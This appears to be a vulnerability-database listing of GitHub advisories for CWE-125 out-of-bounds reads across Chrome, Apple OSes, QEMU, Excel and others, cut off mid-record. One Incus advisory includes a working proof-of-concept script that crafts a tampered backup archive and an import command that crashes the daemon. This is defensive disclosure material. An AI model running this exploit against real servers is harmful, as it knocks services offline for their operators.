Common Weakness Enumeration
CWE-125
AllowedOut-of-bounds Read
Abstraction: Base · Status: Draft
The product reads data past the end, or before the beginning, of the intended buffer.
11454 vulnerabilities reference this CWE, most recent first.
GHSA-4M7P-23X7-87X5
Vulnerability from github – Published: 2022-05-24 16:48 – Updated: 2024-04-04 01:04
VLAI
Details
Missing type check in V8 in Google Chrome prior to 67.0.3396.62 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page.
Severity
6.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2018-6136"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-06-27T17:15:00Z",
"severity": "MODERATE"
},
"details": "Missing type check in V8 in Google Chrome prior to 67.0.3396.62 allowed a remote attacker to perform an out of bounds memory read via a crafted HTML page.",
"id": "GHSA-4m7p-23x7-87x5",
"modified": "2024-04-04T01:04:39Z",
"published": "2022-05-24T16:48:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6136"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2018/05/stable-channel-update-for-desktop_58.html"
},
{
"type": "WEB",
"url": "https://crbug.com/831943"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M83-J6WP-JRP5
Vulnerability from github – Published: 2022-05-24 17:46 – Updated: 2023-01-09 18:30
VLAI
Details
An out-of-bounds read was addressed with improved input validation. This issue is fixed in macOS Big Sur 11.1, Security Update 2020-001 Catalina, Security Update 2020-007 Mojave, macOS Big Sur 11.0.1, iOS 14.2 and iPadOS 14.2, watchOS 7.1, tvOS 14.2. Processing a maliciously crafted audio file may lead to arbitrary code execution.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2020-27908"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-02T18:15:00Z",
"severity": "HIGH"
},
"details": "An out-of-bounds read was addressed with improved input validation. This issue is fixed in macOS Big Sur 11.1, Security Update 2020-001 Catalina, Security Update 2020-007 Mojave, macOS Big Sur 11.0.1, iOS 14.2 and iPadOS 14.2, watchOS 7.1, tvOS 14.2. Processing a maliciously crafted audio file may lead to arbitrary code execution.",
"id": "GHSA-4m83-j6wp-jrp5",
"modified": "2023-01-09T18:30:21Z",
"published": "2022-05-24T17:46:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-27908"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211928"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211929"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211930"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT211931"
},
{
"type": "WEB",
"url": "https://support.apple.com/en-us/HT212011"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4M88-WXJ4-9QJ6
Vulnerability from github – Published: 2026-05-04 19:16 – Updated: 2026-05-08 19:26
VLAI
Summary
Incus Vulnerable to Panic via Snapshot Bounds Check
Details
Summary
Missing validation logic in the storage volume import logic allows an authenticated user with access to Incus' storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.
Details
The backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.
When iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) >= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i >= len(slice), triggering a runtime panic.
An attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.
Affected File: https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go
Affected Code:
func (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) {
[...]
postHook := func(inst instance.Instance) error {
[...]
for i, backupFileSnap := range srcBackup.Snapshots {
var volumeSnapDescription string
var volumeSnapConfig map[string]string
var volumeSnapExpiryDate time.Time
var volumeSnapCreationDate time.Time
// Check if snapshot volume config is available for restore and matches snapshot name.
if srcBackup.Config != nil {
if len(srcBackup.Config.Snapshots) >= i-1 && srcBackup.Config.Snapshots[i] != nil && srcBackup.Config.Snapshots[i].Name == backupFileSnap {
// Use instance snapshot's creation date if snap info available.
volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt
}
if len(srcBackup.Config.VolumeSnapshots) >= i-1 && srcBackup.Config.VolumeSnapshots[i] != nil && srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap {
// If the backup restore interface provides volume snapshot config use it,
// otherwise use default volume config for the storage pool.
volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description
volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config
if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil {
volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt
}
// Use volume's creation date if available.
if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() {
volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt
}
}
}
[...]
}
[...]
}
[...]
}
[...]
func (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error {
[...]
if !isRemoteClusterMove || args.StoragePool != "" {
for i, snapshot := range args.Snapshots {
snapName := snapshot.GetName()
newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName)
snapConfig := vol.Config() // Use parent volume config by default.
snapDescription := volumeDescription // Use parent volume description by default.
snapExpiryDate := time.Time{}
snapCreationDate := time.Time{}
// If the source snapshot config is available, use that.
if srcInfo != nil && srcInfo.Config != nil {
if len(srcInfo.Config.Snapshots) >= i-1 && srcInfo.Config.Snapshots[i] != nil && srcInfo.Config.Snapshots[i].Name == snapName {
// Use instance snapshot's creation date if snap info available.
snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt
}
if len(srcInfo.Config.VolumeSnapshots) >= i-1 && srcInfo.Config.VolumeSnapshots[i] != nil && srcInfo.Config.VolumeSnapshots[i].Name == snapName {
// Check if snapshot volume config is available then use it.
snapDescription = srcInfo.Config.VolumeSnapshots[i].Description
snapConfig = srcInfo.Config.VolumeSnapshots[i].Config
if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil {
snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt
}
// Use volume's creation date if available.
if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() {
snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt
}
}
}
[...]
}
}
[...]
}
PoC
The following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.
Step 1: Generate a valid backup and tamper with its snapshot metadata
From an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.
Commands:
cat <<'EOF' > poc_snapshot_bounds.sh
#!/bin/bash
set -e
BASE_NAME="base-$(date +%s)"
PANIC_NAME="panic-$(date +%s)"
incus init images:alpine/edge "$BASE_NAME" --project default
incus snapshot create "$BASE_NAME" snap0 --project default
incus export "$BASE_NAME" valid_snapshot_base.tar.gz --project default
mkdir -p extract_snapshot_bounds
tar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/
chmod -R u+rwX extract_snapshot_bounds/
python3 -c "
import os
import sys
base = '$BASE_NAME'
panic = '$PANIC_NAME'
with open('extract_snapshot_bounds/backup/index.yaml', 'r') as f:
lines = f.read().splitlines()
out = []
in_skip = False
skip_indent = 0
for line in lines:
line = line.replace(base, panic)
indent = len(line) - len(line.lstrip())
if in_skip:
if not line.strip():
continue
if indent > skip_indent or (indent == skip_indent and line.lstrip().startswith('-')):
continue
else:
in_skip = False
if indent > 0 and (line.lstrip().startswith('snapshots:') or line.lstrip().startswith('volume_snapshots:')):
out.append(line.split(':')[0] + ': []')
in_skip = True
skip_indent = indent
continue
out.append(line)
with open('extract_snapshot_bounds/backup/index.yaml', 'w') as f:
f.write('\n'.join(out))
"
cd extract_snapshot_bounds/
tar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/
cd ..
rm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz
echo "[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz"
EOF
bash poc_snapshot_bounds.sh
Result:
[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz
Step 2: Trigger the vulnerable restore path
From the same Incus client, import the crafted archive.
Command:
incus import exploit_snapshot_bounds_panic.tar.gz --project default
Result:
Error: websocket: close 1006 (abnormal closure): unexpected EOF
Credit
This issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/lxc/incus/v6/cmd/incusd"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "7.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40251"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-129"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-04T19:16:25Z",
"nvd_published_at": "2026-05-06T21:16:01Z",
"severity": "HIGH"
},
"details": "### Summary\nMissing validation logic in the storage volume import logic allows an authenticated user with access to Incus\u0027 storage volume feature to cause the Incus daemon to crash. Repeated use of this issue can be used to keep Incus offline causing a denial of service.\n\n### Details\nThe backup restore subsystem contains an out-of-bounds panic vulnerability caused by an invalid bounds check when indexing snapshot metadata arrays. The same flawed pattern also appears in the migration path.\n\nWhen iterating through physical snapshots provided in a backup archive, the loop uses the index i to look up corresponding metadata in the parsed Config.Snapshots and Config.VolumeSnapshots slices. To ensure that the metadata slice is long enough, the code uses the guard condition len(slice) \u003e= i-1. This check is incorrect because it can still evaluate to true when the subsequent slice[i] access is out of bounds, including when i \u003e= len(slice), triggering a runtime panic.\n\nAn attacker can trigger this by submitting a backup archive that contains physical snapshot directories, which drive the loop variable i, while supplying a tampered index.yaml with an empty or truncated snapshot metadata array. This causes the daemon to index beyond the end of the metadata slice and crash, resulting in immediate denial of service on the node.\n\nAffected File:\nhttps://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go \n\nAffected Code:\n```\nfunc (b *backend) CreateInstanceFromBackup(srcBackup backup.Info, srcData io.ReadSeeker, op *operations.Operation) (func(instance.Instance) error, revert.Hook, error) {\n [...]\n postHook := func(inst instance.Instance) error {\n [...]\n for i, backupFileSnap := range srcBackup.Snapshots {\n var volumeSnapDescription string\n var volumeSnapConfig map[string]string\n var volumeSnapExpiryDate time.Time\n var volumeSnapCreationDate time.Time\n\n // Check if snapshot volume config is available for restore and matches snapshot name.\n if srcBackup.Config != nil {\n if len(srcBackup.Config.Snapshots) \u003e= i-1 \u0026\u0026 srcBackup.Config.Snapshots[i] != nil \u0026\u0026 srcBackup.Config.Snapshots[i].Name == backupFileSnap {\n // Use instance snapshot\u0027s creation date if snap info available.\n volumeSnapCreationDate = srcBackup.Config.Snapshots[i].CreatedAt\n }\n\n if len(srcBackup.Config.VolumeSnapshots) \u003e= i-1 \u0026\u0026 srcBackup.Config.VolumeSnapshots[i] != nil \u0026\u0026 srcBackup.Config.VolumeSnapshots[i].Name == backupFileSnap {\n // If the backup restore interface provides volume snapshot config use it,\n // otherwise use default volume config for the storage pool.\n volumeSnapDescription = srcBackup.Config.VolumeSnapshots[i].Description\n volumeSnapConfig = srcBackup.Config.VolumeSnapshots[i].Config\n\n if srcBackup.Config.VolumeSnapshots[i].ExpiresAt != nil {\n volumeSnapExpiryDate = *srcBackup.Config.VolumeSnapshots[i].ExpiresAt\n }\n\n // Use volume\u0027s creation date if available.\n if !srcBackup.Config.VolumeSnapshots[i].CreatedAt.IsZero() {\n volumeSnapCreationDate = srcBackup.Config.VolumeSnapshots[i].CreatedAt\n }\n }\n }\n\n [...]\n }\n [...]\n }\n [...]\n}\n\n[...]\n\nfunc (b *backend) CreateInstanceFromMigration(inst instance.Instance, conn io.ReadWriteCloser, args localMigration.VolumeTargetArgs, op *operations.Operation) error {\n [...]\n if !isRemoteClusterMove || args.StoragePool != \"\" {\n for i, snapshot := range args.Snapshots {\n snapName := snapshot.GetName()\n newSnapshotName := drivers.GetSnapshotVolumeName(inst.Name(), snapName)\n snapConfig := vol.Config() // Use parent volume config by default.\n snapDescription := volumeDescription // Use parent volume description by default.\n snapExpiryDate := time.Time{}\n snapCreationDate := time.Time{}\n\n // If the source snapshot config is available, use that.\n if srcInfo != nil \u0026\u0026 srcInfo.Config != nil {\n if len(srcInfo.Config.Snapshots) \u003e= i-1 \u0026\u0026 srcInfo.Config.Snapshots[i] != nil \u0026\u0026 srcInfo.Config.Snapshots[i].Name == snapName {\n // Use instance snapshot\u0027s creation date if snap info available.\n snapCreationDate = srcInfo.Config.Snapshots[i].CreatedAt\n }\n\n if len(srcInfo.Config.VolumeSnapshots) \u003e= i-1 \u0026\u0026 srcInfo.Config.VolumeSnapshots[i] != nil \u0026\u0026 srcInfo.Config.VolumeSnapshots[i].Name == snapName {\n // Check if snapshot volume config is available then use it.\n snapDescription = srcInfo.Config.VolumeSnapshots[i].Description\n snapConfig = srcInfo.Config.VolumeSnapshots[i].Config\n\n if srcInfo.Config.VolumeSnapshots[i].ExpiresAt != nil {\n snapExpiryDate = *srcInfo.Config.VolumeSnapshots[i].ExpiresAt\n }\n\n // Use volume\u0027s creation date if available.\n if !srcInfo.Config.VolumeSnapshots[i].CreatedAt.IsZero() {\n snapCreationDate = srcInfo.Config.VolumeSnapshots[i].CreatedAt\n }\n }\n }\n\n [...]\n }\n }\n [...]\n}\n```\n\n### PoC\n\nThe following PoC demonstrates that a tampered instance backup archive containing physical snapshot directories but an empty snapshot metadata array can trigger an out-of-bounds panic during restore.\n\nStep 1: Generate a valid backup and tamper with its snapshot metadata\n\nFrom an Incus client with access to the target server, create a minimal instance, create a snapshot, export it, and then modify the exported index.yaml so that the physical snapshot directory remains present while the nested snapshot metadata arrays are emptied.\n\nCommands:\n```\ncat \u003c\u003c\u0027EOF\u0027 \u003e poc_snapshot_bounds.sh\n#!/bin/bash\nset -e\n\nBASE_NAME=\"base-$(date +%s)\"\nPANIC_NAME=\"panic-$(date +%s)\"\n\nincus init images:alpine/edge \"$BASE_NAME\" --project default\nincus snapshot create \"$BASE_NAME\" snap0 --project default\nincus export \"$BASE_NAME\" valid_snapshot_base.tar.gz --project default\n\nmkdir -p extract_snapshot_bounds\ntar -xzf valid_snapshot_base.tar.gz -C extract_snapshot_bounds/\nchmod -R u+rwX extract_snapshot_bounds/\n\npython3 -c \"\nimport os\nimport sys\n\nbase = \u0027$BASE_NAME\u0027\npanic = \u0027$PANIC_NAME\u0027\n\nwith open(\u0027extract_snapshot_bounds/backup/index.yaml\u0027, \u0027r\u0027) as f:\n lines = f.read().splitlines()\n\nout = []\nin_skip = False\nskip_indent = 0\n\nfor line in lines:\n line = line.replace(base, panic)\n indent = len(line) - len(line.lstrip())\n\n if in_skip:\n if not line.strip():\n continue\n if indent \u003e skip_indent or (indent == skip_indent and line.lstrip().startswith(\u0027-\u0027)):\n continue\n else:\n in_skip = False\n\n if indent \u003e 0 and (line.lstrip().startswith(\u0027snapshots:\u0027) or line.lstrip().startswith(\u0027volume_snapshots:\u0027)):\n out.append(line.split(\u0027:\u0027)[0] + \u0027: []\u0027)\n in_skip = True\n skip_indent = indent\n continue\n\n out.append(line)\n\nwith open(\u0027extract_snapshot_bounds/backup/index.yaml\u0027, \u0027w\u0027) as f:\n f.write(\u0027\\n\u0027.join(out))\n\"\n\ncd extract_snapshot_bounds/\ntar -czf ../exploit_snapshot_bounds_panic.tar.gz backup/\ncd ..\n\nrm -rf extract_snapshot_bounds/ valid_snapshot_base.tar.gz\necho \"[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz\"\nEOF\n\nbash poc_snapshot_bounds.sh\n```\n\nResult:\n```\n[+] PoC Tarball Created: exploit_snapshot_bounds_panic.tar.gz\n```\n\nStep 2: Trigger the vulnerable restore path\n\nFrom the same Incus client, import the crafted archive.\n\nCommand:\n```\nincus import exploit_snapshot_bounds_panic.tar.gz --project default\n```\n\nResult:\n```\nError: websocket: close 1006 (abnormal closure): unexpected EOF\n```\n\n### Credit\nThis issue was discovered and reported by the team at 7asecurity (https://7asecurity.com/)",
"id": "GHSA-4m88-wxj4-9qj6",
"modified": "2026-05-08T19:26:52Z",
"published": "2026-05-04T19:16:25Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/lxc/incus/security/advisories/GHSA-4m88-wxj4-9qj6"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40251"
},
{
"type": "PACKAGE",
"url": "https://github.com/lxc/incus"
},
{
"type": "WEB",
"url": "https://github.com/lxc/incus/blob/v6.22.0/internal/server/storage/backend.go"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Incus Vulnerable to Panic via Snapshot Bounds Check"
}
GHSA-4M8M-RJ7F-37V4
Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2022-03-01 00:00
VLAI
Details
This vulnerability allows remote attackers to disclose sensitive information on affected installations of Bentley View 10.15.0.75. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of FBX files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-15460.
{
"affected": [],
"aliases": [
"CVE-2021-46630"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-02-18T20:15:00Z",
"severity": "MODERATE"
},
"details": "This vulnerability allows remote attackers to disclose sensitive information on affected installations of Bentley View 10.15.0.75. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of FBX files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-15460.",
"id": "GHSA-4m8m-rj7f-37v4",
"modified": "2022-03-01T00:00:58Z",
"published": "2022-02-19T00:01:08Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-46630"
},
{
"type": "WEB",
"url": "https://www.bentley.com/en/common-vulnerability-exposure/BE-2021-0012"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-22-217"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4M96-CJX2-PX9Q
Vulnerability from github – Published: 2022-05-13 01:13 – Updated: 2025-04-20 03:44
VLAI
Details
WP1StylesListener.cpp, WP5StylesListener.cpp, and WP42StylesListener.cpp in libwpd 0.10.1 mishandle iterators, which allows remote attackers to cause a denial of service (heap-based buffer over-read in the WPXTableList class in WPXTable.cpp). This vulnerability can be triggered in LibreOffice before 5.3.7. It may lead to suffering a remote attack against a LibreOffice application.
Severity
7.5 (High)
{
"affected": [],
"aliases": [
"CVE-2017-14226"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2017-09-09T08:29:00Z",
"severity": "HIGH"
},
"details": "WP1StylesListener.cpp, WP5StylesListener.cpp, and WP42StylesListener.cpp in libwpd 0.10.1 mishandle iterators, which allows remote attackers to cause a denial of service (heap-based buffer over-read in the WPXTableList class in WPXTable.cpp). This vulnerability can be triggered in LibreOffice before 5.3.7. It may lead to suffering a remote attack against a LibreOffice application.",
"id": "GHSA-4m96-cjx2-px9q",
"modified": "2025-04-20T03:44:34Z",
"published": "2022-05-13T01:13:44Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14226"
},
{
"type": "WEB",
"url": "https://bugs.documentfoundation.org/show_bug.cgi?id=112269"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=1489337"
},
{
"type": "WEB",
"url": "https://cgit.freedesktop.org/libreoffice/core/commit/?id=dd89afa6ee8166b69e7a1e86f22616ca8fc122c9"
},
{
"type": "WEB",
"url": "https://sourceforge.net/p/libwpd/code/ci/0329a9c57f9b3b0efa0f09a5235dfd90236803a5"
},
{
"type": "WEB",
"url": "https://sourceforge.net/p/libwpd/code/ci/f40827b3eae260ce657c67d9fecc855b09dea3c3"
},
{
"type": "WEB",
"url": "https://sourceforge.net/p/libwpd/tickets/14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4MC6-82PV-688W
Vulnerability from github – Published: 2024-05-03 03:30 – Updated: 2024-05-03 03:30
VLAI
Details
Kofax Power PDF PDF File Parsing Out-Of-Bounds Read Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Kofax Power PDF. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.
The specific flaw exists within the parsing of PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated object. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-20453.
Severity
{
"affected": [],
"aliases": [
"CVE-2023-37351"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-05-03T02:15:47Z",
"severity": "LOW"
},
"details": "Kofax Power PDF PDF File Parsing Out-Of-Bounds Read Information Disclosure Vulnerability. This vulnerability allows remote attackers to disclose sensitive information on affected installations of Kofax Power PDF. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of PDF files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated object. An attacker can leverage this in conjunction with other vulnerabilities to execute arbitrary code in the context of the current process. Was ZDI-CAN-20453.",
"id": "GHSA-4mc6-82pv-688w",
"modified": "2024-05-03T03:30:54Z",
"published": "2024-05-03T03:30:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-37351"
},
{
"type": "WEB",
"url": "https://www.zerodayinitiative.com/advisories/ZDI-23-946"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4MFW-7W9Q-M25X
Vulnerability from github – Published: 2022-05-24 16:54 – Updated: 2022-05-24 16:54
VLAI
Details
In Status::readFromParcel of Status.cpp, there is a possible out of bounds read due to improper input validation. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: Android-7.0 Android-7.1.1 Android-7.1.2 Android-8.0 Android-8.1 Android-9. Android ID: A-132650049.
{
"affected": [],
"aliases": [
"CVE-2019-2136"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-08-20T20:15:00Z",
"severity": "MODERATE"
},
"details": "In Status::readFromParcel of Status.cpp, there is a possible out of bounds read due to improper input validation. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. Product: Android. Versions: Android-7.0 Android-7.1.1 Android-7.1.2 Android-8.0 Android-8.1 Android-9. Android ID: A-132650049.",
"id": "GHSA-4mfw-7w9q-m25x",
"modified": "2022-05-24T16:54:06Z",
"published": "2022-05-24T16:54:06Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-2136"
},
{
"type": "WEB",
"url": "https://source.android.com/security/bulletin/2019-08-01"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-4MG3-VGRX-MF99
Vulnerability from github – Published: 2026-07-14 18:32 – Updated: 2026-07-14 18:32
VLAI
Details
Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.
Severity
7.8 (High)
{
"affected": [],
"aliases": [
"CVE-2026-55044"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-07-14T18:18:16Z",
"severity": "HIGH"
},
"details": "Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to execute code locally.",
"id": "GHSA-4mg3-vgrx-mf99",
"modified": "2026-07-14T18:32:33Z",
"published": "2026-07-14T18:32:33Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55044"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55044"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4MGV-G5J9-FR8Q
Vulnerability from github – Published: 2024-02-20 15:31 – Updated: 2024-02-20 15:31
VLAI
Details
A denial of service vulnerability exists in the ICMP and ICMPv6 parsing functionality of Weston Embedded uC-TCP-IP v3.06.01. A specially crafted network packet can lead to an out-of-bounds read. An attacker can send a malicious packet to trigger this vulnerability.This vulnerability concerns a denial of service within the parsing an IPv6 ICMPv6 packet.
Severity
5.9 (Medium)
{
"affected": [],
"aliases": [
"CVE-2023-39541"
],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-126"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-02-20T15:15:08Z",
"severity": "MODERATE"
},
"details": "A denial of service vulnerability exists in the ICMP and ICMPv6 parsing functionality of Weston Embedded uC-TCP-IP v3.06.01. A specially crafted network packet can lead to an out-of-bounds read. An attacker can send a malicious packet to trigger this vulnerability.This vulnerability concerns a denial of service within the parsing an IPv6 ICMPv6 packet.",
"id": "GHSA-4mgv-g5j9-fr8q",
"modified": "2024-02-20T15:31:05Z",
"published": "2024-02-20T15:31:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39541"
},
{
"type": "WEB",
"url": "https://talosintelligence.com/vulnerability_reports/TALOS-2023-1828"
},
{
"type": "WEB",
"url": "https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1828"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-4MH7-G8HH-QP2P
Vulnerability from github – Published: 2022-05-14 00:59 – Updated: 2022-05-14 00:59
VLAI
Details
QEMU, through version 2.10 and through version 3.1.0, is vulnerable to an out-of-bounds read of up to 128 bytes in the hw/i2c/i2c-ddc.c:i2c_ddc() function. A local attacker with permission to execute i2c commands could exploit this to read stack memory of the qemu process on the host.
Severity
5.5 (Medium)
{
"affected": [],
"aliases": [
"CVE-2019-3812"
],
"database_specific": {
"cwe_ids": [
"CWE-119",
"CWE-125"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-02-19T14:29:00Z",
"severity": "MODERATE"
},
"details": "QEMU, through version 2.10 and through version 3.1.0, is vulnerable to an out-of-bounds read of up to 128 bytes in the hw/i2c/i2c-ddc.c:i2c_ddc() function. A local attacker with permission to execute i2c commands could exploit this to read stack memory of the qemu process on the host.",
"id": "GHSA-4mh7-g8hh-qp2p",
"modified": "2022-05-14T00:59:50Z",
"published": "2022-05-14T00:59:50Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3812"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2019-3812"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/CGCFIFSIWUREEQQOZDZFBYKWZHXCWBZN"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/KJMTVGDLA654HNCDGLCUEIP36SNJEKK7"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/CGCFIFSIWUREEQQOZDZFBYKWZHXCWBZN"
},
{
"type": "WEB",
"url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/KJMTVGDLA654HNCDGLCUEIP36SNJEKK7"
},
{
"type": "WEB",
"url": "https://seclists.org/bugtraq/2019/May/76"
},
{
"type": "WEB",
